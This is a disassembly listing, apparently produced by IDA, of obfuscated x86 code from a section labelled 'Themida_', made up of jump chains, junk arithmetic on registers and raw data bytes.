		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549287:				; CODE XREF: Themida_:0054A8D1j
		mov	ecx, [eax]
		pop	eax
		pop	edx
		push	19D8h
		jmp	loc_543C9F
; ---------------------------------------------------------------------------
		db 58h,	52h, 53h
		dd 9952FEBBh, 0E9DA896Bh, 5514h, 3B39C781h, 39E9F305h
		dd 0FE00004Fh, 270BE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5492B6:				; CODE XREF: Themida_:00545F19j
		push	ebp
		mov	ebp, esp
		jmp	loc_54D5C0
; ---------------------------------------------------------------------------
		dw 0C89h
aHr		db '$h"',0
		align 2
		dw 1C89h
aS3		db '$é:3',0
		align 2
		dw 5450h
		dd 0FFF3CDE9h, 0C2BBAFFh, 97E9709Bh, 5A000016h,	4C281h
		dd 0BD550000h, 4, 2CE9EA01h, 8000000Ah,	0CC30C9C1h, 51240C8Bh
		dd 0C181E189h, 4, 3304C183h, 0C31240Ch,	240C3324h, 824248Bh
		dd 0FEE958E6h, 5D00003Ch, 3822BA52h, 0D001F3E8h, 8124148Bh
		dd 4C4h, 0F600E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549332:				; CODE XREF: Themida_:00549AD8j
		add	ebp, edx
		jmp	loc_54421B
; ---------------------------------------------------------------------------
		db 0E9h, 0E6h, 0A5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54933E:				; CODE XREF: Themida_:0054B254j
		mov	esi, 495F4CA6h
		sub	ebx, esi
		pop	esi
		push	3B8Ch
		jmp	loc_544F65
; ---------------------------------------------------------------------------
		dd 0E9240C33h, 1FB2h, 0E9243487h, 12Ch,	162CA52Ch, 1604D028h
		dd 15E9A504h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54936F:				; CODE XREF: Themida_:0054F075j
		sub	ecx, 32F50724h
		sub	ecx, 5A917526h
		push	ebx
		jmp	loc_544D19
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 7Ah
		dd 8FFFFFCCh, 248B2404h, 0A592E924h, 2EB5FFFFh,	80F0CD80h
		dd 0E5808FF5h, 90C580F3h, 6659E800h, 0E924148Bh, 5B0Bh
		dd 50DCB850h, 0A705240Eh, 890D60BDh, 8CE958C3h,	89FFFFBEh
		dd 4812424h, 424h, 24348B00h, 0FFAD90E9h, 4D7B68FFh, 2C890000h
		dd 74A0BD24h, 814D366Ah, 0E2046DEDh, 0BCE7E93Eh, 0E95AFFFFh
		dd 1ED6h, 4C481h, 9680000h, 89000053h, 0DBB9240Ch, 50256A53h
		dd 6C6FD2B8h, 0E0C14042h, 0F7D8F702h, 4D8205D8h, 42E969C8h
		dd 52FFFFC4h, 0E951E289h, 2CA7h, 53A0F580h, 0ECE968B7h
		dd 1FFFFE1h, 8104247Ch,	0AF04246Ch, 5F64FA46h, 2ADEE9h
		db 0
; ---------------------------------------------------------------------------

loc_549441:				; CODE XREF: Themida_:0054D7E9j
		pop	edx
		add	[esp+8], esi
		pop	esi
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 93E70ECh
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_54B906
; ---------------------------------------------------------------------------

loc_54945F:				; CODE XREF: Themida_:0054B975j
		pop	esp
		push	edx
		push	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5445A6
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 0E9000000h, 21Ah, 2404895Ch, 2DE6E9h, 0F1895D00h
		dd 8324348Bh, 136804C4h, 0E9000029h, 0FFFFEDC9h
; ---------------------------------------------------------------------------

loc_5494A8:				; CODE XREF: Themida_:0054718Cj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_548D5E
; ---------------------------------------------------------------------------

loc_5494C1:				; CODE XREF: Themida_:0054A6EDj
		mov	ebx, 6D0E754Fh
		jmp	loc_54E033
; ---------------------------------------------------------------------------

loc_5494CB:				; CODE XREF: Themida_:0054777Ej
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		jmp	loc_545A8E
; ---------------------------------------------------------------------------

loc_5494DA:				; CODE XREF: Themida_:0054CABEj
		shr	ch, 7
		sub	ch, 7Ah
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		pop	ecx
		mov	cl, dh
		mov	edx, [esp]
		add	esp, 4
		push	small 33AAh
		mov	[esp], dx
		mov	dl, 2Fh
		jmp	loc_54AB20
; ---------------------------------------------------------------------------

loc_5494FE:				; CODE XREF: Themida_:005470EFj
		mov	ecx, 78024D13h
		push	esi
		mov	esi, 20D6841h
		shr	esi, 4
		jmp	loc_547284
; ---------------------------------------------------------------------------
		db 2Dh,	0ABh, 51h
		dd 0BB5357EEh, 32CE0F40h, 0D2E9D829h, 8BFFFFD8h, 0C4812414h
		dd 4, 0E9241C8Bh, 53B7h
; ---------------------------------------------------------------------------

loc_549534:				; CODE XREF: Themida_:00543A15j
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		pop	eax
		sub	esp, 4
		jmp	loc_54877B
; ---------------------------------------------------------------------------

loc_549556:				; CODE XREF: Themida_:00547064j
		mov	[esp], eax
		push	ebp
		mov	ebp, 42A52BFEh
		mov	eax, ebp
		pop	ebp
		sub	eax, 54CD548Dh
		jmp	loc_5446EE
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 0FFFFF8F1h, 8124048Bh,	4C4h, 0D1E1D100h
		dd 0FFC181E9h, 0C1FFFFFFh, 0C98103E9h, 6A8044Bh, 0EBD8C181h
		dd 0CBE966A1h, 0BAFFFFEAh, 2BB950F7h, 0FFD465E9h, 4F51BAFFh
		dd 0F2810B03h, 0FB15A79h, 0E95AD689h, 0FFFFF420h, 5C240C33h
		dd 0F66E9F6h, 0C5E9CCB6h, 0BD000064h, 52B038DAh, 148BD531h
		dd 5E52E924h, 0E5810000h, 5932570Bh, 0BDF9C581h, 0E889BEDFh
		dd 0E9C6015Dh, 0FFFFB767h, 26FCE781h, 0F74770B8h, 3FD9E9D7h
		dd 21E90000h, 31FFFFA3h, 1C33241Ch, 4895C24h, 68E08924h
		dd 3E39h, 55243C89h, 0B65252BDh, 93E95557h, 66FFFFF5h
		dd 9C240401h, 0FFE5F1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54962D:				; CODE XREF: Themida_:00546461j
		pop	eax
		add	esp, 4
		jmp	loc_544CAF
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 29000000h, 14875DEAh, 0F8D0E924h, 0C481FFFFh, 4, 0FFA2CFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549655:				; CODE XREF: Themida_:0054B727j
		add	ebx, esi
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_54F9C5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89532404h, 4C381E3h,	81000000h, 4EBh, 241C3300h, 0FFFF86E9h
		dd 5BD801FFh, 2BD55h, 44E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54968B:				; CODE XREF: Themida_:0054ECFFj
		inc	ebx
		shl	ebx, 4
		jmp	loc_549127
; ---------------------------------------------------------------------------
		dd 0A807E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54969A:				; CODE XREF: Themida_:0054F97Cj
		mov	esi, 7FA80CB1h
		or	ebx, esi
		jmp	loc_54D971
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 50E38924h, 0DB05ECB8h, 1DE9575Eh, 0BE000031h, 263A1FDDh
		dd 0CE81DEF7h, 432A7FC6h, 1488C681h, 68E95B47h,	6800002Ch
		dd 2FC9h, 68240C89h, 1B86h, 51241C89h, 5955E9h
		db 0
; ---------------------------------------------------------------------------

loc_5496E5:				; CODE XREF: Themida_:00548F86j
		mov	ebx, 4
		add	ecx, 19995BE8h
		add	ecx, ebx
		sub	ecx, 19995BE8h
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_549F95
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95204C2h, 0FFFFEF9Bh, 0DEF7F287h, 0EA81F287h, 88939B3Ah
		dd 0FFD218E9h, 0E95357FFh, 64A3h
; ---------------------------------------------------------------------------

loc_549730:				; CODE XREF: Themida_:0054D30Bj
		add	bh, 70h
		jmp	loc_548C4D
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4EA8300h, 8B241487h, 0E9542424h, 58A8h
		dd 24048966h, 0FFA1CBE9h, 59A02CFFh, 0B0505266h, 1559E91Ch
		dd 0FF550000h, 8B042474h, 0C481242Ch, 4, 0E924048Fh, 6355h
		dd 0EA81D2F7h, 59E76D43h, 4522E281h, 0B2E91CB7h, 5FFFFCDh
		dd 57EE51ABh, 76E9C829h, 5AFFFFFDh, 4500BA52h, 0E9420D19h
		dd 0FFFFCF7Ah, 33241C31h, 5AE9241Ch, 52FFFFC1h,	4EC81h
		dd 0C890000h, 0A3A5E924h, 1CF6FFFFh, 59E99C24h,	0C1FFFFA1h
		dd 0E98102E9h, 11C344B3h, 2726E9h, 0E9C30100h, 14D2h
; ---------------------------------------------------------------------------

loc_5497E0:				; CODE XREF: Themida_:00547160j
		mov	edx, esp
		push	esi
		mov	esi, 598B70F5h
		neg	esi
		dec	esi
		add	esi, 598B70FAh
		jmp	loc_545E40
; ---------------------------------------------------------------------------
		dw 8768h
		dd 0E9000069h, 0FFFFFBBFh, 77B30EB1h, 2832C380h, 50CFE9CBh
		dd 0C1810000h, 99BAC78h, 0E959CB89h, 1040h, 2414875Ah
		dd 0FFA0FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549825:				; CODE XREF: Themida_:0054F642j
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_54BD5F
; ---------------------------------------------------------------------------

loc_549833:				; CODE XREF: Themida_:0054C6AEj
		sub	dword ptr [esp], 34724D7Fh
		pop	ebp
		jmp	loc_54E382
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 0C350E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54984E:				; CODE XREF: Themida_:0054FC93j
		mov	ebx, [esp]
		add	esp, 4
		shl	edx, 7
		push	edi
		mov	edi, 238A0FE7h
		xor	edx, edi
		pop	edi
		push	esi
		mov	esi, 3EAE7DAEh
		or	esi, 4AEA098Ch
		inc	esi
		shr	esi, 4
		sub	esi, 7EEE7D9h
		add	edx, esi
		pop	esi
		neg	edx
		push	esi
		jmp	loc_54D8BB
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704E8h, 6E95C24h, 5CFFFFB9h
		dd 229568h, 241C8900h, 4EC81h, 24890000h, 0E8A0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5498AE:				; CODE XREF: Themida_:00549F90j
		pop	esi
		push	ebx
		mov	ebx, 8B58C1C9h
		add	esi, ebx
		pop	ebx
		push	esi
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, ebx
		jmp	loc_5489A1
; ---------------------------------------------------------------------------
		dd 1487585Dh, 0A842E924h, 8951FFFFh, 0CDBD55E1h, 8166455Dh
		dd 3F2340F5h, 71C5813Eh, 0F761884Bh, 38F268D5h,	35E90000h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5498FB:				; CODE XREF: Themida_:00547F9Cj
		pop	ebx
		xor	ebx, 7030FEh
		pop	edx
		sub	ebx, 79DE2C99h
		sub	ebx, 137F40F0h
		add	ebx, ecx
		add	ebx, 137F40F0h
		add	ebx, 79DE2C99h
		push	edx
		jmp	loc_54E52F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4815924h, 4, 348B5456h,	4C48124h, 55000000h
		dd 0FFE819E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549941:				; CODE XREF: Themida_:0054E729j
		neg	esi
		neg	esi
		sub	esi, 3F3FE8DDh
		jmp	loc_549D72
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 2474FF24h, 24348B04h, 0FFC8C2E9h
		dd 240C89FFh, 413343B9h, 59C8897Ch, 23F6BA2Dh, 8BC30163h
		dd 0C4812404h, 4, 81E38953h, 4C3h, 4EB8100h, 0E9000000h
		dd 2B65h
; ---------------------------------------------------------------------------

loc_549994:				; CODE XREF: Themida_:00545DF7j
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 3F712D72h
		add	dword ptr [esp+4], 3DB5214Fh
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 3DB5214Fh
		pop	ecx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		jmp	loc_54B43F
; ---------------------------------------------------------------------------
		dd 0D5B0E951h, 0E688FFFFh, 0FED6F658h, 5EEC0C6h, 0FFF8CEE9h
		dd 405FFh, 4870000h, 48F5C24h, 0E66DE924h, 0E300FFFFh
		dd 0C0B60F58h, 0E987048Fh, 0FFFF9F24h, 5602EE83h, 42474FFh
		dd 24048F5Eh, 0E924248Bh, 0FFFFE55Dh, 9AB1B850h, 60E91B6Ah
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549A1F:				; CODE XREF: Themida_:0054E5BBj
		pop	ebp
		add	edx, edi
		pop	edi
		sub	edx, 4
		jmp	loc_545EF7
; ---------------------------------------------------------------------------
aUnIs		db '½Ñ%žn!ëé ^',0
		align 2
		dw 0CB01h
		dd 7F66C381h, 0E9591451h, 0FFFFD6D9h, 8103EEC1h, 5DEF6F6h
		dd 5EF72977h, 81284405h, 0E9F82916h, 3D19h
; ---------------------------------------------------------------------------

loc_549A60:				; CODE XREF: Themida_:0054F36Cj
		mov	edx, 5B2D5F9Ah
		not	edx
		add	edx, 4D986C10h
		jmp	loc_54E756
; ---------------------------------------------------------------------------

loc_549A72:				; CODE XREF: Themida_:00545CB5j
		add	esp, 4
		pop	eax
		jmp	loc_545814
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 3D68E904h, 0D0680000h, 89000008h, 58542404h,	405h, 40500h
		dd 4870000h, 4F095C24h,	240C8B1Ch, 815B5453h, 4C3h, 3A77E900h
		dd 0E9510000h, 29DFh, 5052ACC3h, 0FE93EB4h, 89FFFFFFh
		dd 58DFE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549ACA:				; CODE XREF: Themida_:0054EF95j
		mov	[esp], edx
		mov	edx, 7E7F21BCh
		sub	edx, 2574F65Eh
		jmp	loc_549332
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0FF9FAFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549AE5:				; CODE XREF: Themida_:00546134j
		mov	edx, edi
		mov	edi, [esp]
		jmp	loc_54A4E0
; ---------------------------------------------------------------------------

loc_549AEF:				; CODE XREF: Themida_:00544B73j
		pop	eax
		xchg	esi, [esp]
		jmp	loc_54C618
; ---------------------------------------------------------------------------
		dd 5519EA81h, 0FA0122A0h, 5519C281h, 3C8B22A0h,	0E7895724h
		dd 31DAE9h, 0C8B6600h, 0E6895624h, 4B850h, 0E9530000h
		dd 0FFFFF888h, 7E9C15Dh, 5705E9C1h, 261739BFh, 99C78136h
		dd 0D11F9F3Dh, 0BEFCE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549B3E:				; CODE XREF: Themida_:0054DAB1j
		add	eax, 4
		push	22CEh
		mov	[esp], ebx
		mov	ebx, 7F95504Bh
		shr	ebx, 8
		neg	ebx
		shl	ebx, 2
		inc	ebx
		sub	ebx, 0FE01AABDh
		jmp	loc_54A9BF
; ---------------------------------------------------------------------------

loc_549B64:				; CODE XREF: Themida_:0054D493j
		shr	eax, 6
		push	edi
		mov	edi, 145A3750h
		sub	eax, edi
		pop	edi
		add	eax, 45D958E5h
		and	ebp, eax
		pop	eax
		sub	ebp, 0FFEB4404h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54D3AC
		push	edx
		jmp	loc_54DE98
; ---------------------------------------------------------------------------
		dd 8B240C87h, 0C892424h, 81E18924h, 4C1h, 4EC8100h, 0E9000000h
		dd 0FFFFD4B9h, 6DE932FFh, 68FFFF9Dh, 6E5h, 0E9242C89h
		dd 0FFFFFE6Ah
; ---------------------------------------------------------------------------

loc_549BC4:				; CODE XREF: Themida_:00544A00j
		xor	esi, ecx
		pop	ecx
		push	798Eh
		mov	[esp], esi
		pop	ebp
		jmp	loc_547EB4
; ---------------------------------------------------------------------------

loc_549BD5:				; CODE XREF: Themida_:00547A44j
		shr	ebp, 2
		xor	ebp, 359D63A1h
		or	ebp, 65110FB8h
		add	ebp, 1
		jmp	loc_544A19
; ---------------------------------------------------------------------------

loc_549BEC:				; CODE XREF: Themida_:00544D01j
		sub	bl, 2Eh
		mov	dx, [esp]
		add	esp, 2
		push	cx
		mov	cl, 96h
		add	bl, cl
		pop	cx
		add	bl, 92h
		sub	bl, al
		push	ecx
		mov	ch, 0CFh
		jmp	loc_546BEF
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 3221BD55h, 0CD816C26h, 261259E6h, 3FD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_549C21:				; CODE XREF: Themida_:0054CBB9j
		mov	edx, ebp
		pop	ebp
		pop	ecx
		jmp	loc_54A8BC
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A065
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 6313C781h, 34FF0C27h, 0F267E924h, 489FFFFh, 4EC8324h
		dd 68242489h, 6EC1h, 0BF243C89h, 4, 4244481h, 67E5569Fh
		dd 4247C01h, 4246C81h, 67E5569Fh, 24048B5Fh, 504C483h
		dd 4, 2BE56h, 0F0010000h, 0B326E95Eh, 815EFFFFh, 9FA7C4EEh
		dd 1DECE908h, 2DBB0000h, 0E920B661h, 760h, 9C82E959h, 0D6F7FFFFh
		dd 4991E9h, 0DE95B00h, 0B3FFFFE1h, 78F38062h, 5A0BE9h
		dd 4C48300h, 2133E956h,	0EE810000h, 52395219h, 0EBEE815Dh
		dd 0E922034Ch, 3107h, 24048B66h, 57E68956h, 4E7B50BFh
		dd 83DFF729h, 3C8904ECh, 2414F724h, 17C2E9h
		db 0
; ---------------------------------------------------------------------------

loc_549CF1:				; CODE XREF: Themida_:0054EBE4j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54C3A5
; ---------------------------------------------------------------------------

loc_549CFF:				; CODE XREF: Themida_:0054C673j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 0E7D34F2h
		jmp	loc_54BCB7
; ---------------------------------------------------------------------------
		dd 0D1FEC581h, 0EA890DBFh, 0CAE9505Dh, 5D000050h, 0E9241487h
		dd 0FFFFC68Bh, 4055Dh, 4870000h, 24248B24h, 241C8B66h
		dd 6602C483h, 0B5B15152h, 0FFA875E9h, 2BDFFh, 0EF010000h
		dd 0ED30E95Dh, 48BFFFFh, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 79BE565Ch, 0F7774B47h, 0EE52E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549D72:				; CODE XREF: Themida_:0054994Bj
		push	ebp
		mov	ebp, 2A687426h
		sub	eax, ebp
		pop	ebp
		jmp	loc_548665
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704EF83h, 5E9243Ch, 87FFFFADh, 8F5C243Ch
		dd 248B2404h, 24D36624h, 7DE99C24h, 24FFFF9Bh, 2C0124CAh
		dd 66C288FEh, 0FFD00058h, 34FF2434h, 28BAE924h,	505E0000h
		dd 4B8h, 8BC20100h, 0C4832404h,	24143304h, 33241431h, 0FF5C2414h
		dd 51582434h, 0EC81E189h, 4, 0E9241489h, 5685h,	739AEA81h
		dd 0F2811A2Ch, 57CE85F4h, 0F75AD101h, 49C181D9h, 81771E55h
		dd 0A4558BE1h, 0FDE9814Ch, 1482013h, 240C8BCAh,	4C481h
		dd 0BB530000h, 4, 335BDA01h, 14312414h,	2511E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_54EFCF
; ---------------------------------------------------------------------------
		db 58h,	8Bh, 0Ch
		dd 4C48324h, 0B1515051h, 3B7AE9A1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E4E:				; CODE XREF: Themida_:0054E2A7j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3A37056h
		add	ecx, eax
		pop	eax
		pop	edx
		jmp	loc_54AF02
; ---------------------------------------------------------------------------

loc_549E67:				; CODE XREF: Themida_:00547AB2j
		push	edx
		pop	ecx
		jmp	loc_544B78
; ---------------------------------------------------------------------------

loc_549E6E:				; CODE XREF: Themida_:0054E8B3j
		push	esi
		mov	esi, 56FC7FCBh
		add	esi, 0D9D3BC4Bh
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_547913
; ---------------------------------------------------------------------------

loc_549E84:				; CODE XREF: Themida_:0054E1E3j
		sub	edi, 463D44DDh
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		push	ebp
		push	2035h
		mov	[esp], ebx
		jmp	loc_54A918
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 25575A2Ah, 0F706EDC1h, 0B9C9E9D5h, 1489FFFFh, 243C3124h
		dd 31243C33h, 0D7F7243Ch, 0E9243C31h, 0FFFFE4BEh, 5EE9DDF7h
		dd 81FFFFF8h, 0B53DDEE7h, 4F22E932h, 0EE800000h, 0EA2C73h
		dd 5AEA04F0h, 2AA66866h, 24148966h, 0E048DB6h, 0E2CF000h
		dd 24148B66h, 4DACE9h, 4C58100h, 83000000h, 93E904C5h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F07:				; CODE XREF: Themida_:0054580Fj
		push	dword ptr [esp]
		pop	eax
		push	7436h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54DC81
; ---------------------------------------------------------------------------
		db 51h
		dd 0DFE95954h, 0C3FFFFBEh, 0FF99F7E9h, 0EEC058FFh, 80C6FE04h
		dd 0F3E9A9EEh, 81FFFFA1h, 0CE4C49C3h, 0E518E90Bh, 8B66FFFFh
		dd 0EC81240Ch, 4, 0FFD325E9h, 0D4E953FFh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F5B:				; CODE XREF: Themida_:0054ED78j
		mov	ch, bl
		pop	ebx
		push	edx
		jmp	loc_54B460
; ---------------------------------------------------------------------------
		dd 59CC3059h, 8058E588h, 0ED80E6EDh, 80EDD0ABh,	0EDD07CEDh
		dd 8DF580h, 0E42C59EEh,	0E404F028h, 0FF9C4EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549F89:				; CODE XREF: Themida_:0054A2DCj
		pop	esp
		mov	[esp], esi
		inc	dword ptr [esp]
		jmp	loc_5498AE
; ---------------------------------------------------------------------------

loc_549F95:				; CODE XREF: Themida_:0054970Aj
		pop	esp
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_54AACC
; ---------------------------------------------------------------------------

loc_549FA1:				; CODE XREF: Themida_:0054FA1Dj
		dec	ch
		jmp	loc_54EEEB
; ---------------------------------------------------------------------------

loc_549FA8:				; CODE XREF: Themida_:005468AEj
		add	ebp, 4
		jmp	loc_54D6C5
; ---------------------------------------------------------------------------
		db 68h
		dd 45D62213h, 8B2434FFh, 50E92434h, 5CFFFFA1h, 0E9240489h
		dd 1ABh
; ---------------------------------------------------------------------------

loc_549FCC:				; CODE XREF: Themida_:0054DE79j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54A081
; ---------------------------------------------------------------------------
		dd 0FF9947E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549FDD:				; CODE XREF: Themida_:00545B7Ej
		mov	[esp], ecx
		mov	ecx, 395A1952h
		or	ecx, 5216039Bh
		shl	ecx, 4
		shl	ecx, 4
		push	eax
		mov	eax, 0FF998033h
		sub	ecx, eax
		pop	eax
		mov	eax, ecx
		jmp	loc_54F894
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 0FFh
		dd offset byte_57B1E9
		db 0
; ---------------------------------------------------------------------------

loc_54A009:				; CODE XREF: Themida_:005452AFj
		add	esi, 4
		jmp	loc_54DDE1
; ---------------------------------------------------------------------------

loc_54A011:				; CODE XREF: Themida_:0054F100j
		push	eax
		jmp	loc_5471C3
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFC47DE9h, 2B9FFh, 0CE010000h, 74FF5659h, 0E95E0424h
		dd 17C7h
; ---------------------------------------------------------------------------

loc_54A030:				; CODE XREF: Themida_:0054394Dj
		jmp	loc_546DEA
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 87h
		dd 7A7168F2h, 0B0E90000h, 8000005Ch, 0EE8070E9h, 80CE28FAh
		dd 0C8BFAC6h, 4C48324h,	148BF500h, 4C48324h, 0E800A004h
		dd 0FFF6F4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A065:				; CODE XREF: Themida_:00549C2Dj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54DE60
; ---------------------------------------------------------------------------

loc_54A076:				; CODE XREF: Themida_:0054E287j
		push	edi
		mov	edi, 4A4E35D5h
		jmp	loc_545916
; ---------------------------------------------------------------------------

loc_54A081:				; CODE XREF: Themida_:00549FD3j
		jmp	loc_543924
; ---------------------------------------------------------------------------

loc_54A086:				; CODE XREF: Themida_:005480FAj
		add	ebp, 4
		push	ebx
		push	6441h
		mov	[esp], edi
		mov	edi, 41645E72h
		push	41645E76h
		pop	ebx
		jmp	loc_54757C
; ---------------------------------------------------------------------------
		db 0Dh,	0DEh, 54h
		dd 75E96BE1h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A0AF:				; CODE XREF: Themida_:0054E7B3j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 633C54C5h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_546DA1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 3E92414h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A0DF:				; CODE XREF: Themida_:005456ACj
		add	eax, 0FFFFFFFFh
		shr	eax, 1
		push	ecx
		jmp	loc_54AD74
; ---------------------------------------------------------------------------
aXjspo		db 'ºº)ËxJépO',0
		db 0
; ---------------------------------------------------------------------------

loc_54A0F7:				; CODE XREF: Themida_:005478E6j
		neg	eax
		xor	eax, 0D3C357Bh
		jmp	loc_54E375
; ---------------------------------------------------------------------------

loc_54A103:				; CODE XREF: Themida_:0054EFE0j
		neg	dh
		xor	dh, 26h
		push	ebx
		mov	bh, dh
		mov	ah, bh
		pop	ebx
		pop	edx
		jmp	loc_54C78A
; ---------------------------------------------------------------------------
		dd 4BFh, 8BFB0100h, 0C481243Ch,	4, 26855h, 15D0000h, 0E9535DEBh
		dd 2C26h
; ---------------------------------------------------------------------------

loc_54A134:				; CODE XREF: Themida_:005484F2j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, 6D7360F2h
		push	ebp
		mov	ebp, 51E4456Ah
		sub	ebp, 301E603Dh
		and	ebp, 4DD02700h
		xor	ebp, 2FE82CF6h
		push	edx
		mov	edx, 0B6E5307h
		xor	ebp, edx
		pop	edx
		jmp	loc_54D908
; ---------------------------------------------------------------------------

loc_54A16D:				; CODE XREF: Themida_:0054CEF1j
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_54C84F
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 5158C501h, 133FE9h, 2474FF00h, 24348B04h,	4C481h
		dd 48F0000h, 24248B24h,	9C2424D2h, 0FF9783E9h, 240481FFh
		dd 6B7F6BE0h, 81240429h, 6BE0242Ch, 0E9586B7Fh,	200Ch
; ---------------------------------------------------------------------------

loc_54A1B8:				; CODE XREF: Themida_:00547204j
		xor	eax, ecx
		push	eax
		push	edx
		jmp	loc_54D42D
; ---------------------------------------------------------------------------
		db 31h,	0F3h, 5Eh
		dd 0E95BD931h, 0FFFFCA1Ch, 4EC81h, 1C890000h, 4EC8324h
		dd 0FFE203E9h, 0E7BE56FFh, 81175611h, 6231FBCEh, 0C681467Ch
		dd 94FF0DF4h, 0E95EF521h, 0FFFFC47Fh
; ---------------------------------------------------------------------------

loc_54A1F8:				; CODE XREF: Themida_:00546AFCj
		shl	ebx, 5
		jmp	loc_54D697
; ---------------------------------------------------------------------------
		dd 68240C8Bh, 709Fh, 83242C89h,	8F5404ECh, 30682404h, 0E9000075h
		dd 35FDh, 0E9DF895Fh, 0FFFFED3Fh
; ---------------------------------------------------------------------------

loc_54A224:				; CODE XREF: Themida_:0054B381j
		mov	[esp], ecx
		jmp	loc_5448DD
; ---------------------------------------------------------------------------
		dd 0F7A013BFh, 5FFD29E7h, 0E95DEF29h, 2D20h
; ---------------------------------------------------------------------------

